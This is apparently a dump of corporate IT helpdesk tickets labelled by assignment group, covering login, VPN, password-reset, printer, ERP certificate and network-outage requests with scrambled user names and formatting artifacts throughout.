[cid:image009.jpg@01SID\_35e24.ec8a53b0]\_x000D\_
\_x000D\_
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: ethics login issue, Description: \_x000D\_
\_x000D\_
received from: ohdrnswl.rezuibdt@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please see highlighted error and resolve it on urgent basis.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35e21.0bf7a9e0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_23.Ticket with Short description: unable to login to ethics training course, Description: hi, when i'm trying to login to ethics training course, i get the web page as unregistered user. please can you help in this., is assigned to Assignment group: GRP\_23.Ticket with Short description: issue playing courage change win video, Description: \_x000D\_
\_x000D\_
received from: saerpwno.qsdfmakc@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
can you please help me with this message which i got when i tried to open the lauacyltoe hxgaycze video on "courage change win"\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35e1d.9b7d2300]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print from wy33 printer, Description: unable to print from wy33 printer
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
dwfiykeo argtxmvcumar3
hello
zheqafyo bqirpxag
hi, good moryctrhbkm plvnuxmrnoj
i could not print in wy33 printer.. i am in india
zheqafyo bqirpxag
hi, are you there?
dwfiykeo argtxmvcumar3
yes
zheqafyo bqirpxag
this problem happens every month,
dwfiykeo argtxmvcumar3
ok, let me check with local it
where are you right now, in which deppt?
, is assigned to Assignment group: GRP\_19.Ticket with Short description: install lauacyltoe hxgaycze version of flash player, Description: \_x000D\_
\_x000D\_
received from: saerpwno.qsdfmakc@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
can you please install the lauacyltoe hxgaycze version of flash player on my system? i got this message (which is shown below) while i tried to complete the ethics course on our collaboration\_platform site.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35e1b.fb25e280]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_keheu2 failed in job\_scheduler at: 10/03/2016 23:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_keheu2 failed in job\_scheduler at: 10/03/2016 23:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: SID\_51 password, Description: \_x000D\_
\_x000D\_
received from: qycgdfhz.iqshzdru@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please reset my password for SID\_51 to daypay3.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: erp performances this morning via vpn germany, Description:
received from: blktuiae.jzakfmhw@gmail.com
hi it
i started an report this morning and it takes normal 10 minute to get the result
current the report ist still running after 35 minutes
do we have a performance issue with erp
my user id is: wethruiberg
, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform site is not opening, Description: collaboration\_platform site is not opening, is assigned to Assignment group: GRP\_0.Ticket with Short description: changes in ad, Description: hi, there,\_x000D\_
my reporting line in the outlook organization system is wrong. i have been relocated from usa to apac and now report to vlpfgjyz dvzrfsbo. my title is sr. engineer, r&d which is not reflected in the system too. please help to correct. , is assigned to Assignment group: GRP\_2.Ticket with Short description: flash player version, Description: \_x000D\_
\_x000D\_
received from: elixsfvu.pxwbjofl@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please help to assist the following issue.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: i can't log into the vpn or ticketing\_tool. i changed my password this morning and now it is not working, Description: from: dartnl porwrloisky [mailto:mreocsnk.swoyxzma@gmail.com]
sent: monday, october 03, 2016 11:35 pm
to: nwfodmhc exurcwkm
subject: rakthyesh login problems with vpn
hi.
i can't log into the vpn or ticketing\_tool. i changed my password this morning and now it is not working
can you please reset my login?
my username is poloidgthyl
i keep getting this error:
danl poloisky
territory manager
m (330) 260-5038
f (330) 343-4705
mreocsnk.swoyxzma@gmail.com
| 2605 federal signal dr | usa, il 60484 |
, is assigned to Assignment group: GRP\_0.Ticket with Short description: summary:when i run wip list and try to do my report i get run time error 1004.pivot table field name not valid., Description: summary:when i run wip list and try to do my report i get run time error 1004.pivot table field name not valid., is assigned to Assignment group: GRP\_0.Ticket with Short description: issues with crm dynamics, Description: issues with crm dynamics. need permissions. while opening records user is getting error record is unavailable. the request record was not found or you do not have sufficient permissions to view it.\_x000D\_
, is assigned to Assignment group: GRP\_22.Ticket with Short description: my account will expire soon, please help to extend vvwhtyuy account for one year.. / user : vvwhtyuy / manager name: mikdhyu lihy, Description: my account will expire soon, please help to extend vvwhtyuy account for one year.. / user : vvwhtyuy / manager name: mikdhyu lihy, is assigned to Assignment group: GRP\_2.Ticket with Short description: do not receive information, Description: \_x000D\_
\_x000D\_
received from: duoyrpvi.wgjpviul@gmail.com\_x000D\_
\_x000D\_
hi team,\_x000D\_
\_x000D\_
i originally enquiries about this at the start of august and nothing has been amended.\_x000D\_
\_x000D\_
currently i do not receive any email notifications for the likes of ethics/ethical moments/sipppr's.\_x000D\_
\_x000D\_
and now i have tried to log into ethics via collaboration\_platform and received the following error message:\_x000D\_
\_x000D\_
"welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration\_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp."\_x000D\_
\_x000D\_
can you please assist aerp in setting up these notifications.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: kicked off of vpn, Description: i was kicked off of vpn for the 3rd time today at about 5:45pm. , is assigned to Assignment group: GRP\_0.Ticket with Short description: potential security issue with the ios 10 update , Description: potential security issue with the ios 10 update , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook error , Description: outlook error , is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent help required-outlook to crm mfg\_tooltion issue, Description: \_x000D\_
\_x000D\_
received from: fjohugzb.fhagjskd@gmail.com\_x000D\_
\_x000D\_
helloâ€¦\_x000D\_
\_x000D\_
there is no crm tab in my outlook ribbon, please advise.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35d92.SID\_2628051]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
fjohugzb fhagjskd\_x000D\_
sr. channel partner specialist\_x000D\_
company inc.\_x000D\_
fjohugzb.fhagjskd@gmail.com<mailto:fjohugzb.fhagjskd@gmail.com>\_x000D\_
p 800-446-7738 (office)\_x000D\_
m 705-760-3495\_x000D\_
technical support 800-835-3668\_x000D\_
na-company.techsupport@company.com\_x000D\_
www.company.com<\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to wireless, Description: user called in for an issue where he was not able to connect to any wireless network. he's using the dell 7350 tablet device. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to update new password on iphone, Description: unable to update new password on iphone, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to update passwords for all accounts, Description: unable to update passwords for all accounts, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage : cantabria (mecftgobusa) site hard down since 2:53 pm et on 10/03., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_ 2:53 pm et on 10/03.\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: ethics training, Description: \_x000D\_
\_x000D\_
received from: rolcgqhx.ehndjmlv@gmail.com\_x000D\_
\_x000D\_
hello, i started ethics training, it became stuck on page 7\_x000D\_
please contact me aerp\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open/edit expense report for employee, Description: unable to open/edit expense report for employee, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot log in, Description:
received from: zwirhcol.narzlmfw@gmail.com
marty nevins username nevinmw cannot login to a computer.
j. shrugott tyhuellis
usa facilities mgr.
zwirhcol.narzlmfw@gmail.com<mailto:zwirhcol.narzlmfw@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to safe attachment on erp, Description: when i try to safe a file to a sales order in erp i received the fallowing error \_x000D\_
an error occurred when uploading to erp knowledge\_x000D\_
provider.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: sales history not correct in apo (dp), Description:
received from: koqntham.sqiuctfl@gmail.com
jochgthen / it team,
there appears to be an issue with the history in apo. only the september history looks correct.
[cid:image003.jpg@01SID\_35SID\_25.6236c930]
, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_3194 failed in job\_scheduler at: 10/03/2016 14:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3194 failed in job\_scheduler at: 10/03/2016 14:15:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: external site not loading, Description: external site not loading, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm in outlook not working // grethyg, Description: crm in outlook not working // grethyg, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account unlock, Description: windows account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account lockout, Description: windows account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sign in to skype, Description: unable to sign in to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: getting knocked off vpn, Description: was knocked off vpn about 1:10pm et today and then again about 1:45pm et. i have a problem with being knocked off almost every day., is assigned to Assignment group: GRP\_0.Ticket with Short description: all of my purchasing suppliers in the us are stated as do not use., Description: my purchasing catalogs are no longer there. when i try and re-select them all the us supplier say, do not use, is assigned to Assignment group: GRP\_29.Ticket with Short description: vpn connectivity issues, Description: my vpn dropped twice this morning and twice since lunch, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to enter an estimated value in opportunities in ms crm, Description: unable to enter an estimated value in opportunities in ms crm, is assigned to Assignment group: GRP\_22.Ticket with Short description: unable to sign in to outlook, Description: unable to sign in to outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset windows password for all accounts, Description: reset windows password for all accounts, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to erp, Description: unable to login to erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: printing request - request transaction print to a different printer. please contact omiwzbue auvolfhp for info., Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) prtqv0072 & prtqv0001\_x000D\_
\_x000D\_
â€¢ detailed description of the problem ?\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) \_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)\_x000D\_
erp\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls)\_x000D\_
erp / windows\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm)SID\_34\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? currently qv01 is being routed to qv72. \_x000D\_
qv01 is now fixed and i need all erp jobs to print on qv01 not qv72.\_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket, is assigned to Assignment group: GRP\_45.Ticket with Short description: password change, Description: password change, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: i have old version ethics training on my account, please help me. thank you, Description: i have old version ethics training on my account, please help me. , is assigned to Assignment group: GRP\_23.Ticket with Short description: map i drive, Description: map i drive, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm not synching mails, Description: crm not synching mails, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn / erp log out, Description:
received from: mnlvhtug.imvetgoa@gmail.com
this is getting tiresome being logged out of vpn automatically while working on erp.
cant seem to get much done if i have to keep logging back on.
this needs to be fixed..
[cid:image001.jpg@01SID\_35d77.bb454b00]
mnlvhtug imvetgoa
sr. application engineer
general engineering
company inc.
mnlvhtug.imvetgoa@gmail.com<mailto:mnlvhtug.imvetgoa@gmail.com>
[cid:image001.png@01d15842.000812f0]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: user wish to set lan as first priority for internet , Description: user wish to set lan as first priority for internet but my laptop makes wireless first priority and disconnect from lan and connect to wireless
pc name: ldvl8517832
, is assigned to Assignment group: GRP\_3.Ticket with Short description: external caller asking for vtykrubi whsipqno's email address, Description: external caller asking for vtykrubi whsipqno's email address, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open an website, Description: unable to open an website, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock erp SID\_34 account, Description: unlock erp SID\_34 account, is assigned to Assignment group: GRP\_0.Ticket with Short description: help to install - engineering\_tool to other peoples (no-company), Description: hi team,
i need your help, we have a people than isn't employee company, but needed install engineering\_tool in a computer. they're client company, he has id (ccfterguss) to acces site engineering\_tool, but in hour that install appears the error in attachment, do you have a instructions to install in computers no-company., is assigned to Assignment group: GRP\_0.Ticket with Short description: monitor on wire pc is out., Description: monitor on wire pc is out., is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to find name as sales person in engineering tool, Description: unable to find name as sales person in engineering tool.
phone: , is assigned to Assignment group: GRP\_25.Ticket with Short description: windows account lockout, Description: windows account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa plant : all the switches and servers are down at the site at 11:45 am et on 10/03. , Description: usa plant : all the switches and servers are down at the site at 11:45 am et on 10/03. , is assigned to Assignment group: GRP\_8.Ticket with Short description: internet is down, Description: lwgytuxq qspdztiw called in for an issue where the internet is completely down and they are unable to access internet, erp and all other applications.
contact no - , is assigned to Assignment group: GRP\_4.Ticket with Short description: outlook calendar shatryung, Description:
received from: gdnwlkit.jokidavy@gmail.com
tried to share my calendar in outlook with my manager, rick orelli, and got this error message
[cid:image001.png@01SID\_35SID\_28.edb479b0]
biintll tujutnis
senior sales engineer wc1 team
gdnwlkit.jokidavy@gmail.com<mailto:gdnwlkit.jokidavy@gmail.com>
www.company.com<
, is assigned to Assignment group: GRP\_0.Ticket with Short description: quotes in workflow , Description: from: wjslkzfr jxlbzwrp \_x000D\_
sent: monday, october 03, 2016 7:50 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: re: quotes in workflow \_x000D\_
\_x000D\_
hi , \_x000D\_
\_x000D\_
i have 2 items in workflow that i am unable to save out. it appears the quote was deleted.\_x000D\_
3116211904 lines 110 and 120\_x000D\_
please help me get these saved out.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: unable to open outlook after changing password, Description: unable to open outlook after changing password, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype, Description: name:ksgytjqr ojdukgzc
language:
browser:microsoft internet explorer
email:ksgytjqr.ojdukgzc@gmail.com
customer number:
telephone:
summary:can't sign into skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: ethics, Description:
received from: soujqrxw.mvwduljx@gmail.com
i have made several attempts to access ethics training and it doesn't connect.
soujqrxw mvwduljx
company, inc.
sales engineer, usa.
cell
soujqrxw.mvwduljx@gmail.com<mailto:soujqrxw.mvwduljx@gmail.com>
customer service ftmill.service@company.com<mailto:ftmill.service@company.com>
product support 8 na-company.techsupport@company.com<mailto:na-company.techsupport@company.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: 7350 - no audio device, Description: no audio device on the pc, failed to play uacyltoe hxgaycze tone., is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn issues, Description: \_x000D\_
\_x000D\_
received from: uvorgwts.mlqzaicb@gmail.com\_x000D\_
\_x000D\_
hello i.t. team,\_x000D\_
\_x000D\_
my vpn will not accept my username and password. please contact me at your earliest convenience.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset from password\_management\_tool, Description: password reset from password\_management\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2: ie crashes on opening mii from ess portal, Description: vip 2: ie crashes on opening mii from ess portal
phone: , is assigned to Assignment group: GRP\_3.Ticket with Short description: renew internal certificate for password\_management\_tool id password manager, Description: renew internal certificate for password\_management\_tool password manager, is assigned to Assignment group: GRP\_2.Ticket with Short description: e-mail and certificates not going to lean participants, Description: today, i created a lean event in our collaboration\_platform lean tracker and after submitting the event, no participant got any e-mail or lean certificate. lean tracker id for the event i created is 16100349662., is assigned to Assignment group: GRP\_16.Ticket with Short description: unable to create a collaboration\_platform collaboration\_platform workbook on accounts due to duplicate detetection, Description: pollaurid is unable to enable sp on an account without getting an error indicating there are potential duplicates. the account is different than the other 31 but does use the same email address, which i believe dup detection is based off of. when he attempts to save anyways, he get a business process error. pls refer to account #81184849 as an example as well as the attached screen shots., is assigned to Assignment group: GRP\_40.Ticket with Short description: issue in viewing pay statements in hr\_tool , Description: it appears that i have a browser issue in viewing pay statements in hr\_tool (see emails below). are you able to help me to view these screens?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: global\_telecom\_1 number , Description: global\_telecom\_1 number , is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software password reset, Description: good morning, need a password reset for telephony\_software for - vfjsubao yihelxgp
id: taylthyuoaj
workstation: ldgl8513929
, is assigned to Assignment group: GRP\_7.Ticket with Short description: printer not printing, Description: printer not printing, is assigned to Assignment group: GRP\_0.Ticket with Short description: cad team code - characteristic, Description: can you please add "manuf eng â€“ us\_plant" ?\_x000D\_
, is assigned to Assignment group: GRP\_11.Ticket with Short description: minitab license issue - cannot run minitab as of early am 10/3/2016, Description: minitab license issue - cannot run minitab as of early am 10/3/2016. minitab throws a license server not found error. this is affecting production in the usa site. , is assigned to Assignment group: GRP\_3.Ticket with Short description: hr\_tool time application - this morning i do not have the my time stamp selection on my timecard. i cannot log in and clock, Description: hr\_tool time application - this morning i do not have the my time stamp selection on my timecard. i cannot log in and clock in. i was here on time this morning and i cannot clock myself in. local it stefyty dabhruji already looked at it, appears there is something wrong with my account of the application.
phone
email ylfqrzxg.jmakitug@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm issue for iphone, Description: \_x000D\_
\_x000D\_
received from: zfburidj.jmilguev@gmail.com\_x000D\_
\_x000D\_
hi there,\_x000D\_
\_x000D\_
i am trying to set up crm on my iphone and it asks for the company's crm address - what is it?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: url not working, Description: url not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: password\_management\_tool password manager change?, Description: \_x000D\_
\_x000D\_
received from: hpqjaory.gfrwmije@gmail.com\_x000D\_
\_x000D\_
can someone please advise if we are still utilizing password\_management\_tool password manager?\_x000D\_
\_x000D\_
i can't connect to this site to do a mass update of my new password to all accounts.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for qwsjptlo hnlasbed using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: reset passwords for qwsjptlo hnlasbed using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: business\_client issue, Description: \_x000D\_
\_x000D\_
received from: eqtofwbm.mojfbwds@gmail.com\_x000D\_
\_x000D\_
hi it support,\_x000D\_
\_x000D\_
one of our users have problem with running of business\_client client. he is still getting error message that net framdntyework is not installed on your pc. i tried to reinstall it but no success.\_x000D\_
\_x000D\_
is it known issue? please can you help us how to solve it?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: hardware item coming wrong in labeling in warehouse\_tool ., Description: please change erp logic that currently identifies hardware items for warehouse\_tool to include rqfhiong zkwfqagb classification of hdw, see attached email. assign to vamthrsee krisyuhnyrt, is assigned to Assignment group: GRP\_20.Ticket with Short description: problem opening the password\_management\_tool password manager, Description: \_x000D\_
\_x000D\_
received from: jmrukcfq.rdyuxomp@gmail.com\_x000D\_
\_x000D\_
the screenshot below is the message i received when i tried to open the password\_management\_tool password manager site this morning to reset my password. please advise.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: india carrier, company-ap-ind-carrier-891-dmvpn-rtr01 is down at 7am et on 10/03. site is up on secondary., Description: what type of outage: \_\_\_\_\_network x\_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_no\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_7am et on 10/03\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? no\_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_no\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_na\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: passwords to be reset for erp SID\_34, Description: \_x000D\_
\_x000D\_
received from: dpuifqeo.eglwsfkn@gmail.com\_x000D\_
\_x000D\_
please reset the following passwords in erp SID\_34 â€“ us\_plant employees\_x000D\_
\_x000D\_
knemilvx dvqtziya\_x000D\_
nabjwvtd sprhouiv\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for jmusidzr sratdeol on erp / production / hcm, Description: reset the password for jmusidzr sratdeol on erp / production / hcm, is assigned to Assignment group: GRP\_0.Ticket with Short description: united kingdom has problems with making outbound calls, Description: united kingdom has issues with making outbound calls.\_x000D\_
this is on the telephony\_software as on the siemens pbx. , is assigned to Assignment group: GRP\_7.Ticket with Short description: a user was able to add a zj partner in SID\_34 and they don't have security to do so. please advise how this can be fixed., Description: someone in the service center was able to successfully add a zj partner to an existing customer master account in SID\_34.\_x000D\_
we set it up that only the 9 users assigned to the sd:cust\_mast\_partner\_func\_zj role would have add/edit/delete access to this partner function.\_x000D\_
here is a summary of what happened per lillanna:\_x000D\_
he (ujxvrlzg pkaegicn) was using SID\_34 ecc. what is strange is that the system gave him a warning that he is not allowed to add zj partner function. he could not even save changes until he cleared the zj field. but it seems the system added the zj partner function anyway when he saved the account. (the account was 81030623 and he added zj partner of 81907354.)\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: pos data - september, 2016., Description: please provide pos data for the month of september '16.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: password reset , Description:
from: nwfodmhc exurcwkm
sent: monday, october 03, 2016 3:26 pm
to: 'shivakuhdty.s@company.com'
cc: tiyhum kuyiomar
subject: password reset
hi shivakuhdty,
your account was locked out, we unlocked your account. please try login with your existing password as you are ess user we have not changed your password. please replay back if you have any issue.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook security certificate notification, Description: \_x000D\_
\_x000D\_
received from: vsiemxgh.lgeciroy@gmail.com\_x000D\_
\_x000D\_
dear sir / mam,\_x000D\_
\_x000D\_
kindly refer below screenshot where this notification is prompting again and again.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35d7d.f769a8a0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: sales office mw01 is not defined for sales area 1409 0sartlgeo lhqksbdx0, Description: when we opened new order 35093500 we got communicate tahat order is incomplete.\_x000D\_
sale office is not determinated. when we try enter right sales office mw01 - i can't add the chanhes\_x000D\_
print screen in attached, is assigned to Assignment group: GRP\_13.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/03/2016 04:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/03/2016 04:04:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: issue is not resolved. error : @80@validity of certificate from list with pse > ssl, Description: browser:microsoft internet explorer
email:gqcyomwf.opjaiwcu@gmail.com
customer number:
telephone:
summary:erp error:
@80@validity of certificate from list with pse > ssl
client (standard) < ends in 2 days,, is assigned to Assignment group: GRP\_14.Ticket with Short description: reset the password for dqowbefk prgxwzco on erp / production / hcm, Description: i've just changed my all passwords because of expiration but erp does not accept the new password, it says that the name and password is not correct. please fix it , , is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool - erp system message, Description: a few users have reported the seeing the attached error message today regarding certificate validity,\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bex analyzer and bex designer is not working., Description: bex analyzer and bex designer is not working., is assigned to Assignment group: GRP\_19.Ticket with Short description: erpsys- certificate errors, Description:
received from: qgrbnjiu.hidzlfma@gmail.com
hi
i have just started having below system massage and it prompts every time i move from erp nord to nord, bothering me. please advise what this is about, and what should i do on this?
[cid:image001.png@01SID\_35d90.73d9b7b0]
qgrbnjiu hidzlfma
manager, warehouse & distribution
qgrbnjiu.hidzlfma@gmail.com<mailto:qgrbnjiu.hidzlfma@gmail.com>
